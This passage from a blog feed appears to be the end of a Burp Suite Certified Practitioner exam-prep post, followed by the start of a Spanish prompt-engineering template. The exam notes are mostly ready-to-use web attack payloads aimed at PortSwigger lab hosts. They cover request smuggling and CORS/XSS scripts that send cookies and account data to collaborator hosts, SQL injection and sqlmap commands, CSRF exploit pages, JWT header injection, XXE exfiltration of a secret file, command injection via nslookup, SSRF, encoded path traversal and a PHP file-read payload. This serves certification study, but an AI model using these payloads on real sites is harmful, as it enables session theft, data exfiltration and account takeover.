<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">- TE.CL with " bypass- 

</span><span class="nf">POST</span> <span class="nn">/</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>

Content-Length: 5
Transfer-Encoding: "chunked"

330
GET /post?postId=4 HTTP/1.1
Host: 0a1100de03dee2f980d72b9b007c00d6.web-security-academy.net
User-Agent: a"/&gt;&lt;script&gt;document.location='http://&lt;BURP-COLLABORATOR&gt;/?c='+document.cookie;&lt;/script&gt;
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Cookie: &lt;COOKIE&gt;

x=1
0

</code></pre></div></div>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">- CL.TE -

</span><span class="nf">POST</span> <span class="nn">/</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>

Transfer-Encoding: chunked
Transfer-Encoding: ORHFSuL
Content-Length: 25

f
du60v=x&amp;h94ed=x
0

GET /post?postId=1 HTTP/1.1
Host: &lt;CHANGE&gt;
User-Agent: "&gt;&lt;script&gt;alert(document.cookie);var x=new XMLHttpRequest();x.open("GET","https://&lt;BURP-COLLABORATOR&gt;?cookie="+document.cookie);x.send();&lt;/script&gt;
Cookie: &lt;COOKIE&gt;
</code></pre></div></div>

<ul>
  <li>STAGE 1 - XSS Reflected (search-term)</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">GET /?search-term="&gt;&lt;script&gt;alert(1)&lt;/script&gt;

"Tag is not allowed"
</span></code></pre></div></div>

<p><img src="/img2/Pasted%20image%2020251112225926.png" alt="" />
<img src="/img2/Pasted%20image%2020251112225950.png" alt="" /></p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;iframe</span> <span class="na">src=</span><span class="s">"https://&lt;EXAM URL&gt;/?searchterm='&lt;body onload=%22eval(atob('&lt;BASE64 ENCODE&gt;'))%22&gt;//"</span> <span class="na">onload=</span><span class="s">"this.onload="</span><span class="err">;</span><span class="na">this.src =</span><span class="s">'#XSS'</span><span class="err">"</span><span class="nt">&gt;&lt;/iframe&gt;</span>
</code></pre></div></div>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;iframe</span> <span class="na">src=</span><span class="s">"https://&lt;EXAM URL&gt;/?searchterm=%22%3E%3Cbody%20onload=%22document.location%22%5D%3D%22https%3A%2F%2F&lt;BUPR-COLLABORATOR/?c='+document.cookie"</span><span class="err">%22%3</span><span class="na">E</span><span class="err">/</span><span class="nt">/&gt;</span>"&gt;
</code></pre></div></div>

<ul>
  <li>STAGE 1 - Unknown</li>
</ul>

<blockquote>
  <p>This is the worst-case scenario you could get on the exam: a lab that is not included in the prepared list. However, there is no need to worry, because if you have done the labs I mentioned and taken notes for the exam, it is very likely that you will get an identical or very similar lab in the exam.</p>
</blockquote>

<ul>
  <li>STAGE 2 - JSON Role ID update (update-email)</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST /update-email


{
	"email":"test@test.com",
	"roleid":$0$
}
</span></code></pre></div></div>

<ul>
  <li>STAGE 2 - SQL Injection (advanced_search)</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">GET /search_advanced?search_term=INJECTION'&amp;sortby=AUTHOR&amp;blog_artist=Ben+Eleven
</span></code></pre></div></div>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">GET /search_advanced?search_term=a'))--&amp;sortby&amp;blog_artist=
</span></code></pre></div></div>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">GET /search_advanced?search_term=a')) union select NULL,'aaaa',username||'-'||password,NULL,NULL,NULL,NULL from users--&amp;sortby=&amp;blog_artist=
</span></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 sqlmap.py <span class="nt">-u</span> <span class="s2">"https://&lt;EXAM URL&gt;/advancedsearch?search-term=a&amp;sort=AUTHOR%27&amp;creator=Sam+Pit"</span> <span class="nt">--cookie</span><span class="o">=</span><span class="s1">'&lt;COOKIE&gt;'</span> <span class="nt">--risk</span> 3 <span class="nt">--level</span> 3 <span class="nt">--sql-query</span> <span class="s2">"SELECT password FROM users WHERE username='administrator'"</span>
</code></pre></div></div>

<blockquote>
  <p>Whenever you see an advanced search section, it is very likely—or almost certain—that it is a SQL injection. This is a free stage.</p>
</blockquote>

<ul>
  <li>STAGE 2 - CORS AJAX Account API and session cookie from admin</li>
</ul>

<blockquote>
  <p>In this case, I am not 100% sure which example appears in the exam; however, I have some notes I made, and it is likely that the exam will include something similar.</p>
</blockquote>

<blockquote>
  <p>Origin allow Subdomains + XSS</p>
</blockquote>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">- XSS ON CHECK STOCK-

https://stock.0a3000ff03b6b3b9803b03c4005a00f5.web-security-academy.net/?productId=&lt;script&gt;alert(1)&lt;/script&gt;&amp;storeId=2
</span></code></pre></div></div>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- ORIGINAL PAYLOAD -

<span class="nt">&lt;script&gt;</span>
<span class="kd">var</span> <span class="nx">req</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>

<span class="nx">req</span><span class="p">.</span><span class="nx">onload</span><span class="o">=</span><span class="nx">sendAPI</span><span class="p">;</span>
<span class="nx">req</span><span class="p">.</span><span class="nx">withCredentials</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
<span class="nx">req</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">'</span><span class="s1">GET</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="s1">https://0a3000ff03b6b3b9803b03c4005a00f5.web-security-academy.net/accountDetails</span><span class="dl">'</span><span class="p">,</span><span class="kc">true</span><span class="p">);</span>
<span class="nx">req</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>

<span class="kd">function</span> <span class="nx">sendAPI</span><span class="p">(){</span>
  <span class="nx">location</span><span class="o">=</span><span class="dl">'</span><span class="s1">https://zeh8vekoxedzbop8w6cwmxq4dvjr7jv8.oastify.com?api=</span><span class="dl">'</span><span class="o">+</span><span class="nx">btoa</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">responseText</span><span class="p">);</span>
<span class="p">};</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- FINAL INJECTION -

<span class="nt">&lt;script&gt;</span>
  <span class="nx">location</span><span class="o">=</span><span class="dl">"</span><span class="s2">http://stock.0a3000ff03b6b3b9803b03c4005a00f5.web-security-academy.net/?productId=%3cscript&gt;var req = new XMLHttpRequest();req.onload=sendAPI;req.withCredentials = true;req.open('GET','https://0a3000ff03b6b3b9803b03c4005a00f5.web-security-academy.net/accountDetails',true);req.send();function sendAPI(){  location='https://zeh8vekoxedzbop8w6cwmxq4dvjr7jv8.oastify.com?api='%2Bbtoa(req.responseText);};%3c/script&gt;&amp;storeId=5</span><span class="dl">"</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<blockquote>
  <p>Null Origin</p>
</blockquote>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;iframe</span> <span class="na">sandbox=</span><span class="s">"allow-scripts"</span> <span class="na">srcdoc=</span><span class="s">"&lt;script&gt;
var req = new XMLHttpRequest();
req.onload= sendAPI;
req.withCredentials = true;
req.open('GET','https://0aae0000041193f2805a03aa006e00f9.web-security-academy.net/accountDetails',true);
req.send();
function sendAPI() {
  location='https://mg6z8x1v8zj4phi2hfuzyjioafgf47sw.oastify.com?api='+btoa(req.responseText);
};
&lt;/script&gt;"</span><span class="err">&lt;/</span><span class="na">iframe</span><span class="nt">&gt;</span>

</code></pre></div></div>

<ul>
  <li>STAGE 2 - CSRF Refresh Password (COOKIE -&gt; isloggedin : true)</li>
</ul>

<blockquote>
  <p>Whenever you see this cookie, you will get this example in the exam.</p>
</blockquote>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">- COOKIE -
  
%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MC4CFQCWIzg8mjbac41XpWZLvL6cUxKYoQIVAISSvLwmd%2bj0AlQAjLzHFc3ny6L4
</span></code></pre></div></div>

<p><img src="/img2/Pasted%20image%2020251112231533.png" alt="" /></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST /refreshpassword

Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MC4CFQCWIzg8mjbac41XpWZLvL6cUxKYoQIVAISSvLwmd%2bj0AlQAjLzHFc3ny6L4
X-Forwarded-Host: &lt;exploit-server&gt;.web-security-academy.net
X-Host: &lt;exploit-server&gt;.web-security-academy.net
X-Forwarded-Server: &lt;exploit-server&gt;.web-security-academy.net

csrf=&lt;CARLOS CSRF&gt;&amp;username=administrator
</span></code></pre></div></div>

<ul>
  <li>STAGE 2 - CSRF change email admin formid</li>
</ul>

<p>We identified it thanks to the fact that the request allows changing the email by removing the CSRF token.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- EXPLOIT SERVER -
  

<span class="nt">&lt;html&gt;</span>
<span class="nt">&lt;meta</span> <span class="na">name=</span><span class="s">"referrer"</span> <span class="na">content=</span><span class="s">"no-referrer"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;body&gt;</span>
    <span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"https://0abb00140302d2238057a86f00490053.web-security-academy.net/my_account/changeemail"</span> <span class="na">method=</span><span class="s">"POST"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"email"</span> <span class="na">value=</span><span class="s">"attacker@exploitservermail.com"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"form&amp;#45;id"</span> <span class="na">value=</span><span class="s">"HfWYqd"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Submit request"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;/form&gt;</span>
    <span class="nt">&lt;script&gt;</span>
      <span class="nx">history</span><span class="p">.</span><span class="nx">pushState</span><span class="p">(</span><span class="dl">''</span><span class="p">,</span> <span class="dl">''</span><span class="p">,</span> <span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">);</span>
      <span class="nb">document</span><span class="p">.</span><span class="nx">forms</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">submit</span><span class="p">();</span>
    <span class="nt">&lt;/script&gt;</span>
  <span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<blockquote>
  <p>You’ll see that when you try to execute the CSRF, the server responds with an error in the Referer. To bypass it, you need to remove the Referer header using the <meta /> tag. This vulnerability is the same as in this lab → https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses/lab-referer-validation-depends-on-header-being-present</p>
</blockquote>

<blockquote>
  <p>Once the victim’s password has been changed, we send a ‘forgot password’ request to our own email.</p>
</blockquote>

<ul>
  <li>STAGE 2 - JWT</li>
</ul>

<blockquote>
  <p>I have not found any exam example for this vulnerability; however, there are not many possible variants, so one of these examples will most likely appear.</p>
</blockquote>

<blockquote>
  <p>JWK Header Injection</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250924135953.png" alt="" />
<img src="/img2/Pasted%20image%2020250924140042.png" alt="" /></p>
<blockquote>
  <p>JKU Header Injection</p>
</blockquote>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">-</span><span class="w"> </span><span class="err">IDENTIFY</span><span class="w"> </span><span class="err">-</span><span class="w">

</span><span class="p">{</span><span class="w">  
    </span><span class="nl">"jku"</span><span class="p">:</span><span class="w"> </span><span class="s2">"https://DOMAIN/"</span><span class="p">,</span><span class="w">  
    </span><span class="nl">"kid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"d593b25a-b459-49a9-8fb2-7b540a5a4526"</span><span class="p">,</span><span class="w">  
    </span><span class="nl">"alg"</span><span class="p">:</span><span class="w"> </span><span class="s2">"RS256"</span><span class="w">  
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><img src="/img2/Pasted%20image%2020250924143418.png" alt="" />
<img src="/img2/Pasted%20image%2020250924143347.png" alt="" /></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">-</span><span class="w"> </span><span class="err">EXPLOIT</span><span class="w"> </span><span class="err">SERVER</span><span class="w"> </span><span class="err">-</span><span class="w">

</span><span class="err">-</span><span class="w"> </span><span class="err">COPY</span><span class="w"> </span><span class="err">KID</span><span class="w"> </span><span class="err">-</span><span class="w">

</span><span class="p">{</span><span class="w">
  </span><span class="nl">"keys"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
    </span><span class="nl">"kty"</span><span class="p">:</span><span class="w"> </span><span class="s2">"RSA"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"e"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AQAB"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"kid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"d593b25a-b459-49a9-8fb2-7b540a5a4526"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"n"</span><span class="p">:</span><span class="w"> </span><span class="s2">"woquDsRECLVJGh2sANmjEh0cvfe0Wydmndld7KkOi5x4UZvV2MFeIRebtLDTJf-vp8i6SY0scmLSyDt1vwcNEg_VisFlIlPenBKBdxNyIKcRwABkyQEwe_TNpCAAqilAxPrDTyEswGii1hGChLlFoSU2WHZ2Kxts1FXCQOz1iuhm5Fg-KHiaAlKmAlG2lp83iNbYtSvnnL4L58ZjvXiNGABSVF-6_juM2uAjCKEOMzOw9dELTxFXSHEJLoJqx2wFsTLrBOQgKQbJ1j6PlfXAn99RposH4VSeXYfxJ7s1fozclcxke4uEHKNEz4rT9OlLj0e0STjfbNw4BMXMn55_jw"</span><span class="w">
</span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><img src="/img2/Pasted%20image%2020250924143802.png" alt="" /></p>

<blockquote>
  <p>KID Path Traversal (NULL BYTE)</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>❯ <span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"</span><span class="se">\0</span><span class="s2">"</span> | <span class="nb">base64</span>
</code></pre></div></div>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">AA</span><span class="o">==</span>
</code></pre></div></div>

<p><img src="/img2/Pasted%20image%2020250924164632.png" alt="" />
<img src="/img2/Pasted%20image%2020250924164737.png" alt="" /></p>
<ul>
  <li>STAGE 3 - XXE admin user import</li>
</ul>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE foo [&lt;!ENTITY %xxe SYSTEM "https://&lt;exploit-server&gt;</span>.web-security-academy.net/exploit.dtd"&gt;%xxe;]&gt;
  <span class="nt">&lt;users&gt;</span>
    <span class="nt">&lt;user&gt;</span>
      <span class="nt">&lt;username&gt;</span>Example1<span class="nt">&lt;/username&gt;</span>
      <span class="nt">&lt;email&gt;</span>example1@domain.com<span class="nt">&lt;/email&gt;</span>
    <span class="nt">&lt;/user&gt;</span>
    <span class="nt">&lt;user&gt;</span>
      <span class="nt">&lt;username&gt;</span><span class="ni">&amp;xxe;</span><span class="nt">&lt;/username&gt;</span>
      <span class="nt">&lt;email&gt;</span>example2@domain.com<span class="nt">&lt;/email&gt;</span>
    <span class="nt">&lt;/user&gt;</span>
  <span class="nt">&lt;/users&gt;</span>
</code></pre></div></div>

<pre><code class="language-dtd">&lt;!ENTITY % file SYSTEM "file:///home/carlos/secret"&gt;
&lt;!ENTITY % eval "&lt;!ENTITY &amp;#x25; exfil SYSTEM 'http://&lt;BURP-COLABORATOR&gt;/?x=%file;'&gt;"

%eval;
%exfil;
</code></pre>

<ul>
  <li>STAGE 3 - OS Command Injection inside XML admin user import</li>
</ul>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="nt">&lt;users&gt;</span>
    <span class="nt">&lt;user&gt;</span>
        <span class="nt">&lt;username&gt;</span>Example1<span class="nt">&lt;/username&gt;</span>
        <span class="nt">&lt;email&gt;</span>example1@domain.com<span class="err">&amp;</span>`nslookup -q=cname $(cat /home/carlos/secret).BURP-COLLABORATOR`<span class="nt">&lt;/email&gt;</span>
    <span class="nt">&lt;/user&gt;</span>
<span class="nt">&lt;/users&gt;</span>
</code></pre></div></div>

<ul>
  <li>STAGE 3 - Admin Panel Download report as PDF SSRF</li>
</ul>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"table-html"</span><span class="p">:</span><span class="s2">"&lt;div&gt;&lt;p&gt;Report Heading&lt;/p&gt;&lt;iframe src='http://localhost:6566/home/carlos/secret'&gt;"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<ul>
  <li>STAGE 3 - File Path Traversal (admin_img)</li>
</ul>

<blockquote>
  <p>I have seen many reviews saying that the word ‘secret’ is blocked, but it can be bypassed with URL encoding.</p>
</blockquote>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">GET /adminpanel/admin_img?filename=..%252f..%252f..%252f..%252f..%252f..%252f..%252fhome/carlos/%252537%33%2536%2536%2533%2537%32%2536%35%2537%34
</span></code></pre></div></div>

<ul>
  <li>STAGE 3 - admin_panel Config the password reset email template SSTI</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251117113225.png" alt="" />
https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Flask</span><span class="o">/</span><span class="n">Jinja2</span>


</code></pre></div></div>

<p>OR</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">newEmail=!&amp;csrf=csrf
</span></code></pre></div></div>

<blockquote>
  <p>CLICK RESET PASSWORD</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251117114946.png" alt="" /></p>
<ul>
  <li>STAGE 3 - Upload image from URL RFI (admin panel)</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251116121321.png" alt="" /></p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>EXPLOIT SERVER

<span class="cp">&lt;?php</span> <span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'/home/carlos/secret'</span><span class="p">);</span> <span class="cp">?&gt;</span>
</code></pre></div></div>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">https://exploit-server.com/shell.php#kek.jpg
</span></code></pre></div></div>]]></content><author><name>PyUs3r</name><email>pyus3r@gmail.com</email><uri>https://linktr.ee/pyus3r</uri></author><category term="portswigger" /><category term="Web" /><category term="Certification" /><category term="Burpsuite" /><category term="BSCP" /><summary type="html"><![CDATA[Roadmap to complete the Burp Suite Certified Practitioner (BSCP) certification.]]></summary></entry><entry><title type="html">Prompt Engineering - AI</title><link href="https://py-us3r.github.io/ai-n8n-promptengineering/" rel="alternate" type="text/html" title="Prompt Engineering - AI" /><published>2025-10-17T00:00:00+00:00</published><updated>2025-10-17T00:00:00+00:00</updated><id>https://py-us3r.github.io/ai-n8n-promptengineering</id><content type="html" xml:base="https://py-us3r.github.io/ai-n8n-promptengineering/"><![CDATA[<h2 id="rol">Rol</h2>

<p>Eres &lt;rol técnico: p. ej. experto en ciberseguridad / analista de datos / asistente administrativo&gt; con <años de="" experiencia=""> y especialidad en <área concreta="">.</área></años></p>

<h2 id="contexto">Contexto</h2>

<p>Contexto corto y verificable. Incluye:</p>

<ul>
  <li>Objetivo general: <qué debe="" lograr="" el="" agente="">.</qué></li>
  <li>Entorno: &lt;producción / laboratorio / autorizado / restricciones legales&gt;.</li>
  <li>Datos iniciales: &lt;lista, dominio, archivos, parámetros&gt;.</li>
</ul>

<h2 id="tareas-ordenadas-y-numeradas">Tareas (ordenadas y numeradas)</h2>

<ol>
  <li>Tarea 1: &lt;acción principal, resultado esperado y formato de salida&gt;.</li>
  <li>Tarea 2: <verificación o="" validación="" obligatoria="">.</verificación></li>
  <li>Tarea 3: &lt;análisis adicional: patrones, heurísticas, tecnologías&gt;.</li>
</ol>

<p>Cada tarea debe indicar prioridad (alta/mediana/baja).</p>

<h2 id="proceso-paso-a-paso">Proceso paso a paso</h2>

<ol>
  <li>Paso A: <cómo empezar="">.</cómo></li>
  <li>Paso B: &lt;bucle/iteración y condiciones de parada&gt;.</li>
  <li>Paso C: &lt;verificación después de cada iteración; criterio Success/Error&gt;.</li>
</ol>

<p>Incluir límites: &lt;máx iteraciones por ejecución, tasa, timeout&gt;.</p>

<h2 id="reglas-firmes">Reglas firmes</h2>

<ul>
  <li>Nunca &lt;acciones prohibidas&gt;.</li>
  <li>Todos los resultados deben ser &lt;forma, ej. únicos, distintos de entrada&gt;.</li>
  <li>Formato: &lt;JSON/CSV/markdown con esquema exacto&gt;.</li>
  <li>No usar &lt;negrita/asteriscos&gt; si aplica.</li>
  <li>Autorización requerida: <confirmación explícita="" si="" es="" ofensivo="">.</confirmación></li>
</ul>

<h2 id="herramientas-permitidas-y-uso">Herramientas permitidas y uso</h2>

<ul>
  <li>Herramienta A: &lt;nombre&gt; — propósito y condiciones de uso.</li>
  <li>Herramienta B: &lt;nombre&gt; — cuándo y cómo usar; criterios de success/error.<br />
  Indicar que cada uso de herramienta debe registrarse en la salida.</li>
</ul>

<h2 id="seguridad-y-cumplimiento">Seguridad y cumplimiento</h2>

<ul>
  <li>Confirmar que toda acción está autorizada.</li>
  <li>No realizar pruebas intrusivas fuera del entorno autorizado.</li>
  <li>Registrar auditoría: &lt;timestamp, comando, respuesta, decisión&gt;.</li>
</ul>

<h2 id="formato-de-salida-obligatorio">Formato de salida obligatorio</h2>

<ul>
  <li>Ejemplo mínimo (JSON):</li>
</ul>

<p>{<br />
 “meta”: {<br />
 “agent_role”: “&lt;rol&gt;”,<br />
 “run_id”: “&lt;uuid&gt;”,<br />
 “timestamp”: “&lt;ISO8601&gt;”<br />
 },<br />
 “results”: [<br />
 {<br />
 “item”: “&lt;nombre&gt;”,<br />
 “status”: “success|error”,<br />
 “evidence”: “&lt;respuesta breve&gt;”,<br />
 “notes”: “&lt;heurística aplicada&gt;”<br />
 }<br />
 ],<br />
 “summary”: “&lt;texto corto con métricas: succeed, failed, tiempo&gt;”<br />
}</p>

<h2 id="casos-de-prueba-y-validación">Casos de prueba y validación</h2>

<ul>
  <li>
    <p>Input ejemplo 1:
&lt;…&gt; =&gt; Resultado esperado: &lt;…&gt;</p>
  </li>
  <li>
    <p>Criterios de aceptación: &lt;exactitud, unicidad, porcentaje mínimo de verificación&gt;.</p>
  </li>
</ul>

<h2 id="instrucciones-de-iteración-y-parada">Instrucciones de iteración y parada</h2>

<ul>
  <li>Repetir generación hasta <condición> o hasta <límite>.</límite></condición></li>
  <li>Guardar checkpoint cada &lt;N&gt; iteraciones.</li>
  <li>En caso de error persistente: documentar y continuar.</li>
</ul>

<h2 id="indicadores-de-calidad-y-métricas">Indicadores de calidad y métricas</h2>

<ul>
  <li>Cobertura válida (%).</li>
  <li>Ratio success/error.</li>
  <li>Tiempo por ítem.</li>
  <li>Duplicados detectados.</li>
</ul>

<h2 id="consejos-rápidos-para-redactar-el-prompt">Consejos rápidos para redactar el prompt</h2>

<ul>
  <li>Sé específico. Un objetivo claro produce acciones concretas.</li>
  <li>Define formatos de entrada y salida precisos.</li>
  <li>Añade límites operativos y políticas de seguridad.</li>
  <li>Incluye ejemplos mínimos y contraejemplos.</li>
  <li>Exige registro de decisiones y evidencias.</li>
  <li>Prefiere instrucciones imperativas y numeradas.</li>
</ul>

<h2 id="plantilla-para-copiar-y-pegar">Plantilla para copiar y pegar</h2>

<div class="language-markdown highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">#Rol  </span>
Eres <span class="nt">&lt;rol</span> <span class="na">técnico:</span> <span class="na">p.</span> <span class="na">ej.</span> <span class="na">experto</span> <span class="na">en</span> <span class="na">ciberseguridad</span> <span class="err">/</span> <span class="na">analista</span> <span class="na">de</span> <span class="na">datos</span> <span class="err">/</span> <span class="na">asistente</span> <span class="na">administrativo</span><span class="nt">&gt;</span> con <span class="nt">&lt;años</span> <span class="na">de</span> <span class="na">experiencia</span><span class="nt">&gt;</span> y especialidad en <span class="nt">&lt;área</span> <span class="na">concreta</span><span class="nt">&gt;</span>.
<span class="gu">## Contexto  </span>
Contexto corto y verificable. Incluye:    
<span class="p">-</span> Objetivo general: <span class="nt">&lt;qué</span> <span class="na">debe</span> <span class="na">lograr</span> <span class="na">el</span> <span class="na">agente</span><span class="nt">&gt;</span>.
<span class="p">-</span> Entorno: <span class="nt">&lt;producción</span> <span class="err">/</span> <span class="na">laboratorio</span> <span class="err">/</span> <span class="na">autorizado</span> <span class="err">/</span> <span class="na">restricciones</span> <span class="na">legales</span><span class="nt">&gt;</span>.    
<span class="p">-</span> Datos iniciales: <span class="nt">&lt;lista</span><span class="err">,</span> <span class="na">dominio</span><span class="err">,</span> <span class="na">archivos</span><span class="err">,</span> <span class="na">parámetros</span><span class="nt">&gt;</span>.
<span class="gh">#Tareas (ordenadas y numeradas)  </span>
<span class="p">1.</span> Tarea 1: <span class="nt">&lt;acción</span> <span class="na">principal</span><span class="err">,</span> <span class="na">resultado</span> <span class="na">esperado</span> <span class="na">y</span> <span class="na">formato</span> <span class="na">de</span> <span class="na">salida</span><span class="nt">&gt;</span>.  
<span class="p">2.</span> Tarea 2: <span class="nt">&lt;verificación</span> <span class="na">o</span> <span class="na">validación</span> <span class="na">obligatoria</span><span class="nt">&gt;</span>.  
<span class="p">3.</span> Tarea 3: <span class="nt">&lt;análisis</span> <span class="na">adicional:</span> <span class="na">patrones</span><span class="err">,</span> <span class="na">heurísticas</span><span class="err">,</span> <span class="na">tecnologías</span><span class="nt">&gt;</span>.  
Cada tarea debe indicar prioridad (alta/mediana/baja).
<span class="gh">#Proceso paso a paso  </span>
<span class="p">4.</span> Paso A: <span class="nt">&lt;cómo</span> <span class="na">empezar</span><span class="nt">&gt;</span>.  
<span class="p">5.</span>  Paso B: <span class="nt">&lt;bucle</span><span class="err">/</span><span class="na">iteración</span> <span class="na">y</span> <span class="na">condiciones</span> <span class="na">de</span> <span class="na">parada</span><span class="nt">&gt;</span>.  
<span class="p">6.</span> Paso C: <span class="nt">&lt;verificación</span> <span class="na">después</span> <span class="na">de</span> <span class="na">cada</span> <span class="na">iteración</span><span class="err">;</span> <span class="na">criterio</span> <span class="na">Success</span><span class="err">/</span><span class="na">Error</span><span class="nt">&gt;</span>.  
Incluir límites: <span class="nt">&lt;máx</span> <span class="na">iteraciones</span> <span class="na">por</span> <span class="na">ejecución</span><span class="err">,</span> <span class="na">tasa</span><span class="err">,</span> <span class="na">timeout</span><span class="nt">&gt;</span>.
<span class="gh">#Reglas firmes</span>
<span class="p">-</span> Nunca &lt;acciones prohibidas<span class="se">\&gt;</span>.
<span class="p">-</span> Todos los resultados deben ser <span class="nt">&lt;forma</span><span class="err">,</span> <span class="na">ej.</span> <span class="na">únicos</span><span class="err">,</span> <span class="na">distintos</span> <span class="na">de</span> <span class="na">entrada</span><span class="nt">&gt;</span>.
<span class="p">-</span> Formato: <span class="nt">&lt;JSON</span><span class="err">/</span><span class="na">CSV</span><span class="err">/</span><span class="na">markdown</span> <span class="na">con</span> <span class="na">esquema</span> <span class="na">exacto</span><span class="nt">&gt;</span>.    
<span class="p">-</span> No usar <span class="nt">&lt;negrita</span><span class="err">/</span><span class="na">asteriscos</span><span class="nt">&gt;</span> si aplica.
<span class="p">-</span> Autorización requerida: <span class="nt">&lt;confirmación</span> <span class="na">explícita</span> <span class="na">si</span> <span class="na">es</span> <span class="na">ofensivo</span><span class="nt">&gt;</span>.
<span class="gh">#Herramientas permitidas y uso  </span>
<span class="p">-</span> Herramienta A: &lt;nombre<span class="se">\&gt;</span> — propósito y condiciones de uso.  
<span class="p">-</span> Herramienta B: &lt;nombre<span class="se">\&gt;</span> — cuándo y cómo usar; criterios de success/error.  
    Indicar que cada uso de herramienta debe registrarse en la salida.
<span class="gh">#Seguridad y cumplimiento</span>
<span class="p">-</span> Confirmar que toda acción está autorizada.
<span class="p">-</span> No realizar pruebas intrusivas fuera del entorno autorizado.
<span class="p">-</span> Registrar auditoría: <span class="nt">&lt;timestamp</span><span class="err">,</span> <span class="na">comando</span><span class="err">,</span> <span class="na">respuesta</span><span class="err">,</span> <span class="na">decisión</span><span class="nt">&gt;</span>.
<span class="gh">#Formato de salida obligatorio  </span>
<span class="p">-</span> Ejemplo mínimo (JSON):  
{  
 "meta": {  
